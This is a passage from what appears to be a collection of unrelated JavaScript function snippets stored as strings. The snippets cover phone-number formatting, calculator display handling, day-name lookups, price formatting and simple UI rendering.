(i=0;i<phoneNumeric.length;i++)\n {\n // If it's the first digit, throw in \"(\" before that.\n // if (i == 0) phone = phone + \"(\";\n // If you are on the 4th digit, put \") \" before that.\n // If you are on the 7th digit, insert \"-\" before that.\n if (i == 2) phone = phone + \"-\";\n // Add the digit to the phone charatcer string you are building.\n phone = phone + phoneNumeric.substr (i,1)\n }\n }\n }\n else\n { \n// This means the tel no is in proper format. Make sure by replacing the 0th, 4th and 8th character.\n// phone = \"\" + phone.substring (1,4) + \"-\" + phone.substring (5,8) + \"-\" + phone.substring(9,13); \n }\n // So far you are working internally. Refresh the screen with the re-formatted value.\n if (phone != EINNo.value) EINNo.value = phone;\n}", "function showCadrsNum() {\n\n\n}", "function employerFormFormat () {\n if (\n inputNumber(false, 'input', 'employer[local][contact][number]') |\n inputNumber(true, 'input', 'employer[profile][postalcode]')\n ) {\n return true\n } else {\n return false\n }\n }", "displayPhoneNumber() {\n // Filter only numbers from the input\n let cleaned = ('' + this.phoneNumber).replace(/\\D/g, '');\n\n // Check if the input is of correct length\n let match = cleaned.match(/^(\\d{3})(\\d{3})(\\d{4})$/);\n\n if (match) {\n return '(' + match[1] + ') ' + match[2] + '-' + match[3]\n };\n\n return null\n }", "function getOfficeName(arrayOfOffices, officialIndex) {\n \n var results = \"\";\n \n arrayOfOffices.forEach(function(office, officeIndex) {\n \n if (office.officialIndices && office.officialIndices.includes(officialIndex)) {\n results = office.name;\n }\n });\n \n return results;\n}", "get formattedDisplay() { \n if(this.props.display.length >= 7) { return this.props.display.substring(0, 7); }\n \n return this.props.display;\n }", "getDisplayNumber(number){\n const stringNumber = number.toString()\n //split turns numbers into an array after first number\n const integerDigits = parseFloat(stringNumber.split('.')[0])\n //getting numbers after the decimal place\n const decimalDigits = (stringNumber.split('.')[1])\n let integerDisplay\n if(isNaN(integerDigits)) {\n integerDisplay = ''\n } else {\n //maxfrac to ensure only on decimal point\n integerDisplay = integerDigits.toLocaleString('en', {maximumFractionDigits: 0})\n }\n if (decimalDigits != null){\n return `${integerDisplay}.${decimalDigits}`\n } else {\n return integerDisplay\n }\n }", "function phoneNo() {\n wrapper.style.display='none';\n}", "function getElectionDate(office, year) {\n\tif (office == 'President of the United States') {\n\t\tif (year == 2016) return '1108';\n\t\tif (year == 2012) return '1106';\n\t\tif (year == 2008) return '1104';\n\t\tif (year == 2004) return '1102';\n\t\tif (year == 2000) return '1107';\n\t}\n\tif (office == 'United States Senator') {\n\t\tif (year == 2016) return '1108';\n\t\tif (year == 2014) return '1104';\n\t}\n}", "function officeType() {\n var calcOcc = function () {\n 'use strict';\n // Taking input\n var a = document.getElementById('occupancy-carpetArea-office').valueAsNumber;\n var b = document.getElementById('occupancy-workingShifts').valueAsNumber;\n // Calculating Number of People\n var result = (a / 10) * b;\n var positiveResult = Math.abs(result);\n\n return positiveResult;\n };\n\n var occupancyResult = function () {\n // Declaring Result\n document.getElementById('resultOccupancy').innerHTML = \"Occupancy: \" + calcOcc();\n };\n return occupancyResult();\n}", "function printDisplay(num) {\n if (num == \"\") {\n document.getElementById(\"display\").innerText = num;\n } else {\n document.getElementById(\"display\").innerText = getFormattedNumber(num);\n }\n}", "function iconDisplay ($serviceText) {\n var iconCode = 'nocost'\n if ($serviceText == 'instrumento') {\n iconCode = 'bags'\n return iconCode\n }else if ($serviceText == 'instrumento') {\n iconCode = 'bike'\n return iconCode\n }else if ($serviceText == 'instrumento') {\n iconCode = 'instrument'\n return iconCode\n }else if ($serviceText == 'instrumento') {\n iconCode = 'pet'\n return iconCode\n }else if ($serviceText == 'instrumento') {\n iconCode = 'secure'\n return iconCode\n }else if ($serviceText == 'instrumento') {\n iconCode = 'car'\n return iconCode\n }else if ($serviceText == 'instrumento') {\n iconCode = 'parking'\n return iconCode\n }else if ($serviceText == 'instrumento') {\n iconCode = 'hotel'\n return iconCode\n }else {\n return iconCode\n }\n }", "function phoneNumber(no){\n\t\n}", "function teamNameDesign() {\n var team_name_design = 4; //add $4\n if($('#team_name_design').val() != \"none\") {\n $('#team_name_design_cost').show();\n $('#team_name_design_cost span').html(team_name_design);\n return team_name_design;\n }\n else {\n $('#team_name_design_cost').hide();\n return 0;\n }\n}", "getDisplayNumber(number){\r\n const stringNumber = number.toString();\r\n\r\n // create tuple for integerDigits before decimal point\r\n // and decimalDigits after decimal point\r\n const integerDigits = parseFloat(stringNumber.split('.')[0]);\r\n const decimalDigits = stringNumber.split('.')[1];\r\n\r\n let integerDisplay\r\n if(isNaN(integerDigits)){\r\n integerDisplay = '';\r\n }else{\r\n integerDisplay = integerDigits.toLocaleString('en', {maximumFractionDigits:0});\r\n }\r\n\r\n if (decimalDigits != null){\r\n return `${integerDisplay}.${decimalDigits}`;\r\n } else{\r\n return integerDisplay;\r\n }\r\n\r\n // // since the number is currently a string, changing it to float\r\n // const floatNumber = parseFloat(number);\r\n // // since its NaN and we dont know how to format that NaN, so return empty\r\n // if (isNaN(floatNumber)) return '';\r\n // // toLocaleString() language sensitive\r\n // return floatNumber.toLocaleString('en');\r\n }", "renderOffice(office, i){\n\t\treturn (\n\t\t\t<button>Poop</button>\n\t\t);\n\t\t/*return (\n\t\t\t//when an office item is clicked, show its details\n\t\t\t<OfficeItem office= {office}\n\t\t\t\t\t\tkey= {i}\n\t\t\t\t\t\tonClick= {() => this.setOfficeToShow(office)}/>\n\t\t);*/\n\t}", "function showNumberInDisplay(number){\n var stringNumber = number.toString();\n var lengthOfValue = stringNumber.length;\n if (number > 9999999999 || number <= -9999999999) {\n return hasTooManyDigits = true;\n } else {\n stringNumber = stringNumber.substring(0,11);\n return document.getElementById(\"value\").textContent = stringNumber;\n }\n}", "format() {\n return `${this.recipient} is owed #${this.amount} for ${this.details}`;\n }", "get availability () {\n let opening = ''\n if (this.openingHours) {\n opening = `${this.prettyCurrentState}<br/><br/>\n <strong>Opening Hours:</strong> ${this.prettyOpeningHours}<br/>`\n }\n opening += this.label('kitchen_hours')\n\n return opening +\n // this.label('Opening Times','opening_hours',(currentStatus)?`<div class=\"pop-caption\">${currentStatus}</div>`:'</br>') +\n this.label('access', '&nbsp;') +\n this.label('centralkey', '&nbsp;') +\n this.label('fee:charge') +\n ((this.tags.amenity !== 'toilets') ? this.label('toilets:wheelchair') : '')\n }", "function displayOrderNumber(pSubject){\n\n if(getElement(\"subject\").value == \"\"){\n document.getElementById( \"orderNumber\" ).style.display = \"none\";\n document.getElementById( \"orderLabel\" ).style.display = \"none\";\n document.getElementById( \"orderNumber\" ).value = \"\";\n }\n else{\n if (LOCALE == \"uk\" || LOCALE == \"de\" || LOCALE == \"fr\") {\n\t if(pSubject.options[pSubject.selectedIndex].value == \"Order: Furniture enquiry\" || pSubject.options[pSubject.selectedIndex].value == \"Order: Item missing from my order\" || pSubject.options[pSubject.selectedIndex].value == \"Order: Received faulty/damaged item\" || pSubject.options[pSubject.selectedIndex].value == \"Order: Received incorrect item\" || pSubject.options[pSubject.selectedIndex].value == \"Order: Some or all of my items were cancelled\"){\n document.getElementById( \"orderNumber\" ).style.display = \"\";\n document.getElementById( \"orderNumber\" ).style.width = \"250px\";\n document.getElementById( \"orderLabel\" ).style.display = \"\";\n }\n else{\n document.getElementById( \"orderNumber\" ).style.display = \"none\";\n document.getElementById( \"orderLabel\" ).style.display = \"none\";\n document.getElementById( \"orderNumber\" ).value = \"\";\n }\n }\n else {\n if(pSubject.options[pSubject.selectedIndex].text == \"Orders\" || pSubject.options[pSubject.selectedIndex].text == \"Customer Service\"){\n document.getElementById( \"orderNumber\" ).style.display = \"\";\n document.getElementById( \"orderNumber\" ).style.width = \"250px\";\n document.getElementById( \"orderLabel\" ).style.display = \"\";\n }\n else{\n document.getElementById( \"orderNumber\" ).style.display = \"none\";\n document.getElementById( \"orderLabel\" ).style.display = \"none\";\n document.getElementById( \"orderNumber\" ).value = \"\";\n }\n }\n }\n}", "function equipLocationFormatter(value) {\n if (value) {\n return '<a href=\"/equipment-systems/' + value.substring(0, value.length - 3) + '\" target=\"_blank\"> ' + value + '</a>';\n }\n return '-';\n}", "function getNumeroFormatado(numero){ \r\n if (numero == \"-\"){\r\n return \"\";\r\n } \r\n let n = Number(numero);\r\n let valor = n.toLocaleString(\"pt-br\");\r\n return valor;\r\n}", "function displayNumber(n){\n if (resultado.textContent == '0' & n=='0') {\n\n }else if (cantDigitos < 8 & first == 0) {\n resultado.innerHTML = '';\n resultado.textContent = resultado.textContent + n;\n first = 1;\n cantDigitos = cantDigitos + 1;\n }else if (cantDigitos < 8 & first == 1) {\n resultado.textContent = resultado.textContent + n;\n cantDigitos = cantDigitos + 1;\n }else if (cantDigitos < 8 & first == 2 ){\n resultado.textContent = resultado.textContent + n;\n puntoPermitido = 0;\n first = 1 ;\n }\n}", "setOfficeToShow(office){\n\t\tthis.updateState({\n\t\t\tofficeToShow : office,\n\t\t\tpageToShow : 'info'\n\t\t});\n\t}", "function formatPhone(x){\n var areaCode = x.slice(0, 3);\n var first3 = x.slice(3, 6);\n var last4 = x.slice(6, 11);\n var phone = areaCode + \"-\" + first3 + \"-\" + last4;\n return phone;\n}", "function printDay(num) {\r\n if (num == 1) {\r\n return \"Sunday\";\r\n }\r\n if (num == 2) {\r\n return \"Monday\";\r\n }\r\n if (num == 3) {\r\n return \"Tuesday\";\r\n }\r\n if (num == 4) {\r\n return \"Wednesday\";\r\n }\r\n if (num == 5) {\r\n return \"Thursday\";\r\n }\r\n if (num == 6) {\r\n return \"Friday\";\r\n }\r\n if (num == 7) {\r\n return \"Saturday\";\r\n }\r\n}", "function getAddressString() {\n let address_phone = \"\";\n if(address === undefined && postalCode === undefined && city === undefined) { \n address_phone = \"No information available\";\n }\n else {\n address_phone += (address !== undefined ? `${address} <br />` : \" \");\n address_phone += (postalCode !== undefined ? postalCode : \" \") + (city !== undefined ? ` ${city} <br />`: \" \");\n }\n \n return address_phone;\n }", "function dayString(num){\r\n if (num == \"1\") { return \"Montag\" }\r\n else if (num == \"2\") { return \"Dienstag\" }\r\n else if (num == \"3\") { return \"Mittwoch\" }\r\n else if (num == \"4\") { return \"Donnerstag\" }\r\n else if (num == \"5\") { return \"Freitag\" }\r\n else if (num == \"6\") { return \"Samstag\" }\r\n else if (num == \"0\") { return \"Sonntag\" }\r\n}", "showNumber() {\n return this.displayNumber && this.isRevealed;\n }", "function homePageText(display='Visible'){\n if (display === 'Visible'){\n orgNumber = new Set(partners.map(d=>d.institution)).size\n regNumber = new Set(partners.map(d=>d.region)).size\n const title = text['home-page-title'],\n subTitle = text['home-page-sub']\n .replace(\"*\", orgNumber)\n .replace(\"**\", regNumber)\n \n d3.select(\".item-title\").text(title)\n d3.select(\".subtitle\").text(subTitle)\n }\n }", "function calcularNota( nota ) {\n\n let notaLetra = '';\n\n //Calificacion materia español alumnos\n\n if(nota >= 90){\n notaLetra = 'A';\n }else if(nota >= 80){\n notaLetra = 'B';\n }else if(nota >= 70){\n notaLetra = 'C';\n }else if(nota >= 60){\n notaLetra = 'D';\n }else{\n notaLetra = 'F';\n }\n\n console.log(nota + ' es igual a ' + notaLetra);\n\n}", "function takeANumber(katzDeliLine, people){\n return 'Welcome, '+ people +'. You are number '+ katzDeliLine + ' in line.'\n\n}", "function displayNumber() {\n clear();\n // To see which number did the user selected\n var opt = selNumber.options[selNumber.selectedIndex].text;\n if (opt == \"0\") {\n index = 0\n document.getElementById(\"display\").inputMode = sevenSergment(0x7E);\n } else if (opt == \"1\") {\n index = 1\n document.getElementById(\"display\").inputMode = sevenSergment(0x30);\n } else if (opt == \"2\") {\n index = 2\n document.getElementById(\"display\").inputMode = sevenSergment(0x6D);\n } else if (opt == \"3\") {\n index = 3\n document.getElementById(\"display\").inputMode = sevenSergment(0x79);\n } else if (opt == \"4\") {\n index = 4\n document.getElementById(\"display\").inputMode = sevenSergment(0x33);\n } else if (opt == \"5\") {\n index = 5\n document.getElementById(\"display\").inputMode = sevenSergment(0x5B);\n } else if (opt == \"6\") {\n index = 6\n document.getElementById(\"display\").inputMode = sevenSergment(0x5F);\n } else if (opt == \"7\") {\n index = 7\n document.getElementById(\"display\").inputMode = sevenSergment(0x70);\n } else if (opt == \"8\") {\n index = 8\n document.getElementById(\"display\").inputMode = sevenSergment(0x7F);\n } else if (opt == \"9\") {\n index = 9\n document.getElementById(\"display\").inputMode = sevenSergment(0x7B);\n }\n}", "displayPrice(book) {\r\n\t\tif(book.saleInfo.saleability === \"FOR_SALE\" && \r\n\t\t\tbook.saleInfo.listPrice.amount !== 0) {\r\n\t\t\treturn(\r\n\t\t\t\t\"$\" + \r\n\t\t\t\tbook.saleInfo.listPrice.amount + \r\n\t\t\t\t\" \" +\r\n\t\t\t\tbook.saleInfo.listPrice.currencyCode\r\n\t\t\t)\r\n\t\t} else {\r\n\t\t\treturn(\r\n\t\t\t\t\"FREE\"\r\n\t\t\t)\r\n\t\t}\r\n\t}", "function displayEmailDocGeoLoc() {\n\n }", "function getNote(num) {\r\n\tswitch (num) {\r\n\t\tcase -1:\r\n\t\t\treturn 'e3/r';\r\n\t\tcase 0:\r\n\t\t\treturn 'g3/8';\r\n\t\tcase 2:\r\n\t\t\treturn 'a3/8';\r\n\t\tcase 3:\r\n\t\t\treturn 'b3/8';\r\n\t\tcase 5:\r\n\t\t\treturn 'c4/8';\r\n\t}\r\n}", "function coffeeShopPriceExists() {\n\t\t\tif (coffeeShop.price<=4) {\n\t\t\t\treturn \"Price: \" + \"$\".repeat(coffeeShop.price) + \"<span class='coffee-shop__price--faded'>\" + \"$\".repeat(4-coffeeShop.price) + \"</span>\";\n\t\t\t} else {\n\t\t\t\treturn \"No pricing defined.\";\n\t\t\t}\n\t\t}", "function formatPhoneNumber( fieldOrValue, displayName) \n {\n if ( fieldOrValue==UNDEFINED ) return(fieldOrValue);\n \n s = (fieldOrValue.value==UNDEFINED) ? (\"\"+fieldOrValue) : fieldOrValue.value;\n if ( s.length==0 ) return(s); \n s = s.replace(/[^\\d]*/gi,\"\"); // strip out all non-digits before imposing the mask\n s = (s.length>9) ? s.replace(/^([\\d]{3})([\\d]{3})([\\d]{4})([\\d]*)$/gi,\"$1-$2-$3\").replace(/[ex]$/,\"\") : PHONEMASK;\n\n if (s==PHONEMASK)\n {\n\t\tvar tempDispName='';\n\t\tif (displayName.length==0)\n\t\t{\n\t\t\ttempDispName=fieldOrValue.name;\n\t\t}\n\t\telse\n\t\t{\n\t\t\ttempDispName=displayName;\n\t\t}\n\t \talert(\"Please check the \"+ tempDispName + \" #\" );\n\t \ts=fieldOrValue.value; \n\t \tfieldOrValue.focus();\n }\n return( (fieldOrValue.value==UNDEFINED) ? fieldOrValue=s : fieldOrValue.value=s );\n }", "function NumberDayShow(){\n var date = new Date(\"\"+dataCalendar.year+\"-\"+(monthIndex+1)+\"-01\"); \n return NumberDay(date.getDay())-1;//nombre de jour à afficher\n}", "function emailOrderPhoneNumber(emailBody) {\n // Get the first phone number within email body. This is only one we need.\n var tmp;\n var tmpArray;\n var phoneNumber;\n \n // Try Phone Number with '-'\n tmp = emailBody.match(/[0-9]{3}\\-[0-9]{3}\\-[0-9]{4}/);\n// sheet.appendRow(['In phone number function: ', tmp[0]]);\n \n // If null, must be Phone Number with '.'\n if(tmp == null) {\n tmp = emailBody.match(/[0-9]{3}\\.[0-9]{3}\\.[0-9]{4}/); \n \n // Split on '.'\n tmpArray = tmp[0].split('.');\n }\n else {\n // Split on '-'\n tmpArray = tmp[0].split('-');\n }\n\n \n // Reassemble phone number with prepended 1.\n phoneNumber = '1' + tmpArray[0] + tmpArray[1] + tmpArray[2];\n \n return phoneNumber;\n}", "function formatTelNo (telNo)\n{\n // If it's blank, save yourself some trouble by doing nothing.\n if (telNo.value == \"\") return false;\n\n \n\n var phone = new String (telNo.value);\n \n phone = phone.substring(0,14);\n\n /*\n \".\" means any character. If you try to use \"(\" and \")\", the regular expression becomes \n complicated sice both are reserve characters and escaping them sometimes fails. So just \n use \".\" for any character and replace it later.\n */\n if (phone.match (\".[0-9]{3}.[0-9]{3}-[0-9]{4}\") == null)\n {\n /*\n Following \"if\" is for user making any changes to the formatted tel. no. If you don't put this \n \"if\" condition, the user can not correct a digit by first deleting it and then entering a \n correct one, since this will fire two \"onkeyup\" events : first one on deleting a \n character and second one on entering the correct one. The first \"onkeyup\" event will fire this \n function which will reformatt the tel no before the user gets a chace to correct the digit. This \n will surely confuse the user. The \"if\" condition below eliminates that.\n */\n if (phone.match (\".[0-9]{2}.[0-9]{3}-[0-9]{4}|\" + \".[0-9].[0-9]{3}-[0-9]{4}|\" +\n \".[0-9]{3}.[0-9]{2}-[0-9]{4}|\" + \".[0-9]{3}.[0-9]-[0-9]{4}\") == null)\n {\n /*\n You will reach here only if the user is still typing the number or if he/she has \n messed up already formatted number. \n */\n var phoneNumeric = phoneChar = \"\", i;\n // Loop thru what user has entered.\n for (i=0;i<phone.length;i++)\n {\n // Go thru what user has entered one character at a time.\n phoneChar = phone.substr (i,1);\n \n // If that character is not a number or is a White space, ignore it. Only if it is a digit, \n // concatinate it with a number string.\n if (!isNaN (phoneChar) && (phoneChar != \" \")) phoneNumeric = phoneNumeric + phoneChar;\n }\n \n phone = \"\";\n // At this point, you have picked up only digits from what user has entered. Loop thru it.\n for (i=0;i<phoneNumeric.length;i++)\n {\n // If it's the first digit, throw in \"(\" before that.\n if (i == 0) phone = phone + \"(\";\n // If you are on the 4th digit, put \") \" before that.\n if (i == 3) phone = phone + \") \";\n // If you are on the 7th digit, insert \"-\" before that.\n if (i == 6) phone = phone + \"-\";\n // Add the digit to the phone charatcer string you are building.\n phone = phone + phoneNumeric.substr (i,1)\n }\n }\n }\n else\n { \n // This means the tel no is in proper format. Make sure by replacing the 0th, 4th and 8th character.\n phone = \"(\" + phone.substring (1,4) + \") \" + phone.substring (5,8) + \"-\" + phone.substring(9,13); \n }\n // So far you are working internally. Refresh the screen with the re-formatted value.\n if (phone != telNo.value) telNo.value = phone;\n}", "function mayorDeEdad(edad) {\n if (edad >= 18) {\n return \"Mayor de edad\";\n }\n return \"Menor de edad\";\n}", "function dot() {\n if (!document.getElementById(\"display\").innerHTML.includes(\".\")) { // if dot not include in display yet, then add to number\n display = false;\n document.getElementById(\"display\").innerHTML += \".\";\n document.getElementById(\"calculation-display\").innerText += \".\";\n }\n}", "function getHeaderNote() {\n const { favoritesOnly, includeNotified } = variables.input\n\n if (includeNotified && favoritesOnly) {\n return `Showing ${filter} alerts you are on-call for and from any services you have favorited.`\n }\n\n if (allServices) {\n return `Showing ${filter} alerts for all services.`\n }\n\n if (props.serviceID && serviceNameQuery.data?.service?.name) {\n return `Showing ${filter} alerts for the service ${serviceNameQuery.data.service.name}.`\n }\n\n return null\n }", "function formatPhone(phone) {\n var str = String(phone).replace(/ /g, '');\n str = str.replace(/O/g, '0');\n str = str.replace(/-/g, '');\n return str;\n}", "function show_routineAppointments_number(ndx){\n var routineDim = ndx.dimension(dc.pluck('select_all'));\n\n var totalRoutineAppointmentsGroup = routineDim.group().reduceSum(dc.pluck('routine')); \n \n dc.numberDisplay(\"#routine_appointments\")\n .formatNumber(d3.format(\",f\"))\n .group(totalRoutineAppointmentsGroup);\n \n}", "function raNumberInputDisplayCheck()\r\n {\r\n if ($claimType == 'Warranty')\r\n {\r\n $('#claimdetails-ranumber-div').show();\r\n }\r\n else\r\n {\r\n $('#claimdetails-ranumber-div').hide();\r\n }\r\n }", "function raNumberInputDisplayCheck()\r\n {\r\n if ($claimType == 'Warranty')\r\n {\r\n $('#claimdetails-ranumber-div').show();\r\n }\r\n else\r\n {\r\n $('#claimdetails-ranumber-div').hide();\r\n }\r\n }", "isLandLine() {\r\n return this.phoneNumber.match(/^0([23489][2356789]|7\\d{2})\\d{6}$/) !== null;\r\n }", "function formatPaid(paid) {\r\n if (paid === 1) {\r\n return \"Yes\";\r\n }\r\n return \"No\";\r\n}", "function getNumberName(numberString) {\r\n let digitName10 = \"\";\r\n let digitName1 = \"\";\r\n\r\n if (numberString[0] === \"1\") {\r\n //Define tenth digit place if tenth digit place is \"1\"\r\n switch (numberString[1]) {\r\n case \"0\":\r\n digitName10 = \"TEN\";\r\n break;\r\n case \"1\":\r\n digitName10 = \"ELEVEN\";\r\n break;\r\n case \"2\":\r\n digitName10 = \"TWELVE\";\r\n break;\r\n case \"3\":\r\n digitName10 = \"THIRTEEN\";\r\n break;\r\n case \"4\":\r\n digitName10 = \"FOURTEEN\";\r\n break;\r\n case \"5\":\r\n digitName10 = \"FIFTEEN\";\r\n break;\r\n case \"6\":\r\n digitName10 = \"SIXTEEN\";\r\n break;\r\n case \"7\":\r\n digitName10 = \"SEVENTEEN\";\r\n break;\r\n case \"8\":\r\n digitName10 = \"EIGHTEEN\";\r\n break;\r\n case \"9\":\r\n digitName10 = \"NINETEEN\";\r\n break;\r\n }\r\n } else {\r\n //Define tenth digit place if tenth digit place is not \"1\"\r\n switch (numberString[0]) {\r\n case \"0\":\r\n digitName10 = \"\";\r\n break;\r\n case \"2\":\r\n digitName10 = \"TWENTY\";\r\n break;\r\n case \"3\":\r\n digitName10 = \"THIRTY\";\r\n break;\r\n case \"4\":\r\n digitName10 = \"FORTY\";\r\n break;\r\n case \"5\":\r\n digitName10 = \"FIFTY\";\r\n break;\r\n case \"6\":\r\n digitName10 = \"SIXTY\";\r\n break;\r\n case \"7\":\r\n digitName10 = \"SEVENTY\";\r\n break;\r\n case \"8\":\r\n digitName10 = \"EIGHTY\";\r\n break;\r\n case \"9\":\r\n digitName10 = \"NINETY\";\r\n break;\r\n }\r\n //Define first digit place if tenth digit place is not \"1\"\r\n switch (numberString[1]) {\r\n case \"0\":\r\n digitName1 = \"\";\r\n break;\r\n case \"1\":\r\n digitName1 = \"ONE\";\r\n break;\r\n case \"2\":\r\n digitName1 = \"TWO\";\r\n break;\r\n case \"3\":\r\n digitName1 = \"THREE\";\r\n break;\r\n case \"4\":\r\n digitName1 = \"FOUR\";\r\n break;\r\n case \"5\":\r\n digitName1 = \"FIVE\";\r\n break;\r\n case \"6\":\r\n digitName1 = \"SIX\";\r\n break;\r\n case \"7\":\r\n digitName1 = \"SEVEN\";\r\n break;\r\n case \"8\":\r\n digitName1 = \"EIGHT\";\r\n break;\r\n case \"9\":\r\n digitName1 = \"NINE\";\r\n break;\r\n }\r\n }\r\n\r\n return digitName10 + digitName1;\r\n}", "function printOutput(num) {\n //if value is empty we set it to empy\n if (num == \"\") {\n document.getElementById(\"output-value\").innerText = num;\n }\n //or else we get the number\n else {\n document.getElementById(\"output-value\").innerText = getFormattedNumber(num);\n }\n}", "function doorPrize(doorNumber) {\n if(doorNumber == 1) {\n alert(\"Your prize is coal\")\n } else if(doorNumber == 2) {\n alert(\"Your prize is a table\")\n } else if(doorNumber == 3) {\n alert(\"Your prize is $5000\")\n } else {\n alert(\"Nothing for you\")\n }\n}", "formatPrice(price) {\n return price === 0 ? \"Free\" : \"Starts at $\" + price.toFixed(2);\n }", "function billTypeText(billType) {\n\t\t\tvar text=\"\";\n\t\t\tif (billType) {\n\t\t\t\tif (billType === \"hr\") {\n\t\t\t\t\ttext = \"by the House as a bill\";\n\t\t\t\t} else if ( billType === \"hres\") {\n\t\t\t\t\ttext = \"by the House as a resolution\";\n\t\t\t\t} else if ( billType === \"hconres\") {\n\t\t\t\t\ttext = \"by the House as a concurrent resolution\";\n\t\t\t\t} else if ( billType === \"hjres\") {\n\t\t\t\t\ttext = \"by the House as a joint resolution\";\n\t\t\t\t} else if (billType === \"s\") {\n\t\t\t\t\ttext = \"by the Senate as a bill\";\n\t\t\t\t} else if ( billType === \"sres\") {\n\t\t\t\t\ttext = \"by the Senate as a resolution\";\n\t\t\t\t} else if ( billType === \"sconres\") {\n\t\t\t\t\ttext = \"by the Senate as a concurrent resolution\";\n\t\t\t\t} else if ( billType === \"sjres\") {\n\t\t\t\t\ttext = \"by the Senate as a joint resolution\";\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn text;\n\t\t}", "renderOfficeInfo(){\n\t\treturn (\n\t\t\t<div>\n\t\t\t\t<Button onClick= {() => this.props.returnToList()}>\n\t\t\t\t\t<ArrowBack />\n\t\t\t\t\tBack to the list\n\t\t\t\t</Button>\n\t\t\t\t<div className= \"space\"></div>\n\t\t\t\t<table className= \"box\">\n\t\t\t\t\t<tbody>\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<td className= \"label\">Country:</td>\n\t\t\t\t\t\t\t<td className= \"data\">{this.state.office.country}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<td className= \"label\">City:</td>\n\t\t\t\t\t\t\t<td className= \"data\">{this.state.office.city}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<td className= \"label\">Address:</td>\n\t\t\t\t\t\t\t<td className= \"data\">{this.state.office.address}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t</tbody>\n\t\t\t\t</table>\n\t\t\t\t<Button onClick={() => {this.setPageToShow('edit')}}>\n\t\t\t\t\tEdit Office\n\t\t\t\t</Button>\n\t\t\t</div>\n\t\t);\n\t}", "function ActiveCompanyNumber() {\n var sheet = SpreadsheetApp.getActive().getActiveSheet();\n var activerow = sheet.getRange(sheet.getSelection().getCurrentCell().getRow(),1,1,1);\n var companynumber = activerow.getValue();\n //Logger.log('Company name is ' + companyname);\n return companynumber; \n}", "function NzDisplayedMark() { }", "reachedNumberOfInfectedText(number){\n if (this.infected >= number && !this.reachedInfest){\n this.reachedInfest = true;\n return `${this.name} superó los ${number} infectados `;\n }\n return \"\"; \n }", "fNumero (numero){\n //Borra display si antes hemos pulsado una operacion\n if (this.operacionPulsada) { \n display.value = numero;\n this.operacionPulsada = false; //controla \"apaga la ultima operacion\"\n\n }else{ //si no hay pulsada una operacion...\n if (display.value === \"0\" && numero === \".\") //Para admitir valores de (0.0 a 0.9)\n display.value += numero;\n else if(display.value === \"0\")//si display es igual a cero asigna directamente el valor\n display.value = numero;\n else if(display.value === \"0.\"){\n if (numero === \".\");\n else display.value += numero;}\n else \n display.value += numero; //si display es distinto de 0 (ya hay un numero) \n } \n }", "function getDisplayNumber(number) {\n const stringNumber = number.toString();\n const integerDigits = parseFloat(stringNumber.split(\".\")[0])\n const decimalDigits = stringNumber.split(\".\")[1]\n \n let integerDisplay\n\n if (isNaN(integerDigits)) {\n integerDisplay = \"\"\n }\n else {\n integerDisplay = integerDigits.toLocaleString(\"en\", {maximumFractionDigits: 0})\n }\n \n if (decimalDigits != null) {\n return `${integerDisplay}.${decimalDigits.slice(0,2)}`\n }\n else {\n return integerDisplay;\n }\n}", "phoneNumberSummary(item, index) {\n const number = TelephoneSummary((item.Item || {}).Telephone)\n return Summary({\n type: i18n.t('identification.contacts.collection.summary.phoneNumber'),\n index: index,\n left: number,\n right: null,\n placeholder: i18n.t(\n 'identification.contacts.collection.summary.unknownPhone'\n )\n })\n }", "function numGroup(){\n if (num <= 18)\n return (\"low\");\n else\n return (\"high\");\n }", "function formatPhoneText(value) {\n // replace the extra '-'\n value = value.trim().split(\"-\").join(\"\");\n\n if (value.length >= 3 && value.length < 6)\n value = value.slice(0, 3) + \"-\" + value.slice(3);\n else if (value.length >= 6)\n value = value.slice(0, 3) + \"-\" + value.slice(3, 6) + \"-\" + value.slice(6);\n\n return value;\n}", "function printOutput(num) {\n if(num===\"\") {\n document.getElementById(\"output-value\").innerText\n } else {\n document.getElementById(\"output-value\").innerText = getFormattedNumber(num);\n }\n}", "function sc(floor){\n if(floor <= 1) {\n return '';\n } else if(floor <= 6) {\n return 'Aa~ '.repeat(floor - 1) + 'Pa! ' + 'Aa!';\n } else {\n return 'Aa~ '.repeat(floor - 1) + 'Pa!';\n }\n}", "result() {\n if (this.number === 0) {\n return \"Try to find the hidden number before time runs out!\"\n }\n if (this.number > 39) {\n return \"Too much! \"\n } else if (this.number < 39) {\n return \"Not there yet! \"\n } else {\n return \"Congratulations! \" + this.number + \" was the hidden number!\"\n }\n }", "getWeekNumerals(weekNumber) { return `${weekNumber}`; }", "function appendNumber(number) {\r\n \r\n if(number.target.innerHTML == '.' && currentDisplay.innerHTML.includes('.')){\r\n return; //assures that only one decimal point can be placed\r\n } else if(currentDisplay.innerHTML == '0' && number.target.innerHTML == '0') {\r\n return; //If zero is the only # displayed, no more zeroes will be appended\r\n } else if(currentDisplay.innerHTML == '0' && number.target.innerHTML == '.') {\r\n currentDisplay.innerHTML = currentDisplay.innerHTML.concat(number.target.innerHTML);\r\n } else if(currentDisplay.innerHTML == '0' && number.target.innerHTML !== '.'){\r\n currentDisplay.innerHTML = number.target.innerHTML;\r\n } else {\r\n currentDisplay.innerHTML = currentDisplay.innerHTML.concat(number.target.innerHTML);\r\n \r\n }\r\n}", "function showImpedimentWeekNo(imp)\n {\n if (imp.ImpedimentID && $scope.weekNoList.length) {\n var selected = $filter('filter')($scope.weekNoList, { WeekNo: imp.WeekNo });\n return selected.length ? selected[0].WeekNo : 'Week no is required';\n } else {\n return imp.WeekNo || 'Week no is required';\n }\n }", "function fretMarker(fretNumber) {\n\t\tvar singles = [3, 5, 7, 9];\n\n\t\t// pattern repeats every 12 frets\n\t\tfretNumber = ((fretNumber-1) % 12) + 1;\n\n\t\tif ($.inArray(fretNumber, singles) >= 0) {\n\t\t\t// we have a single dot\n\t\t\treturn '&bull;';\n\t\t}\n\n\t\tif (fretNumber == 12) {\n\t\t\t// we have a double dot\n\t\t\treturn '&bull;&nbsp;&bull;';\n\t\t}\n\n\t\t// empty\n\t\treturn '&nbsp;';\n\t}", "function myAgency(agen) {\n switch (agen) {\n case 0:\n return 'BLM';\n break;\n case 1:\n return 'NPS';\n break;\n case 2:\n return 'FS';\n break;\n case 3:\n return 